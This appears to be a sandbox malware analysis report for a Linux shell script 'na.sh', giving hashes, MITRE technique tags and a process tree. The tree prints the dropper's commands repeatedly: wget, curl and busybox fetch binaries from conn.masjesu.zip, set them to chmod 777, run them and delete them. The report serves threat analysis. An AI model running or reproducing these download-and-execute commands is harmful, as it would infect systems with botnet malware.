c148873ecaee8fcb8caebf9bf34d1deeec8b8891ac11f7c1c6947f75eae70603

Analysis

max time kernel
111s
max time network
113s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
16/10/2024, 14:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
na.sh
Size 10KB
Sample241016-rdtxjatarc
SHA256 c148873ecaee8fcb8caebf9bf34d1deeec8b8891ac11f7c1c6947f75eae70603
MD5 d13d8627bbdc0ea9f0e5a9cb09dbb0b6
SHA1 3bbb18dbac3e7cda5556bbbf37810dc53ca317e7
SHA512 3b8a5d3127e22f8550ef019a2433046c53d4a0b52704d1ac1dc73005a0f2bee297bc503d1f229220a1beffccc8c0e536bf63d0e99a746898642f3835ceeff0ad
SSDEEP 96:YQM3l403KtKtK3s0LsYsUsodt4LEdEdE/cgTL2moLddmUA8GJhhPj9DbJbhbw3bS:FFo+ci5B8Fg
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
956	chmod
977	chmod
775	chmod
942	chmod
949	chmod
914	chmod
818	chmod
828	chmod
935	chmod
963	chmod
970	chmod
1005	chmod
745	chmod
893	chmod
928	chmod
991	chmod
1012	chmod
886	chmod
907	chmod
921	chmod
841	chmod
900	chmod
752	chmod
879	chmod
984	chmod
998	chmod
804	chmod
872	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
932	curl
999	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
780	wget
821	wget
878	busybox
904	curl
927	busybox
797	busybox
939	curl
945	wget
742	curl
827	busybox
966	wget
749	curl
925	curl
896	wget
897	curl
941	busybox
751	busybox
762	curl
787	curl
832	curl
876	curl
967	curl
983	busybox
1011	busybox
871	busybox
938	wget
948	busybox
959	wget
987	wget
960	curl
997	busybox
1013	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
748	wget
825	curl
846	wget
913	busybox
918	curl
981	curl
995	curl
1000	rm
779	rm
885	busybox
924	wget
946	curl
976	busybox
1001	wget
1008	wget
810	wget
831	wget
836	busybox
903	wget
953	curl
988	curl
994	wget
723	wget
817	busybox
899	busybox
911	curl
931	wget
969	busybox
769	busybox
776	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	curl
File opened for modification	/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	curl
File opened for modification	/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	curl
File opened for modification	/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	curl
File opened for modification	/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	curl
File opened for modification	/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	curl
File opened for modification	/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	curl
File opened for modification	/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	curl
File opened for modification	/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	curl
File opened for modification	/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	curl
File opened for modification	/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	curl
File opened for modification	/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	curl
File opened for modification	/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	curl
File opened for modification	/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	curl
File opened for modification	/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	curl
File opened for modification	/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	curl
File opened for modification	/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	curl
File opened for modification	/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	curl
File opened for modification	/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	curl
File opened for modification	/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	curl
File opened for modification	/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	curl
File opened for modification	/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	curl
File opened for modification	/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	curl
File opened for modification	/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	curl
File opened for modification	/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	curl
File opened for modification	/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	curl
File opened for modification	/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	curl
File opened for modification	/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	curl

/tmp/na.sh
/tmp/na.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:717
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:723
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  PID:744
- /bin/chmod
  chmod 777 HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  ./HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  PID:747
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - System Network Configuration Discovery
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod 777 bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  ./bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:754
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:769
- /bin/chmod
  chmod 777 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  ./91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:776
- /bin/rm
  rm 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:779
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - System Network Configuration Discovery
  PID:780
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - System Network Configuration Discovery
  PID:797
- /bin/chmod
  chmod 777 F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  ./F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:809
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - System Network Configuration Discovery
  PID:810
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - System Network Configuration Discovery
  PID:817
- /bin/chmod
  chmod 777 BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  ./BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - System Network Configuration Discovery
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - System Network Configuration Discovery
  PID:827
- /bin/chmod
  chmod 777 mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  ./mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - System Network Configuration Discovery
  PID:831
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - System Network Configuration Discovery
  PID:836
- /bin/chmod
  chmod 777 bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  ./bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  PID:845
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:846
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  ./RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  ./4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  ./v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:892
- /bin/chmod
  chmod 777 Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  ./Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  ./QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:906
- /bin/chmod
  chmod 777 Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  ./Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/chmod
  chmod 777 trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  ./trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:920
- /bin/chmod
  chmod 777 F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  ./F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/chmod
  chmod 777 BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  ./BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:934
- /bin/chmod
  chmod 777 mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  ./mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  ./bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  ./RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:955
- /bin/chmod
  chmod 777 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  ./4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm 4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:962
- /bin/chmod
  chmod 777 v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  ./v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm v0pEtWKeezpmnamk32qzwknotYpeEPG15T
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  ./Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
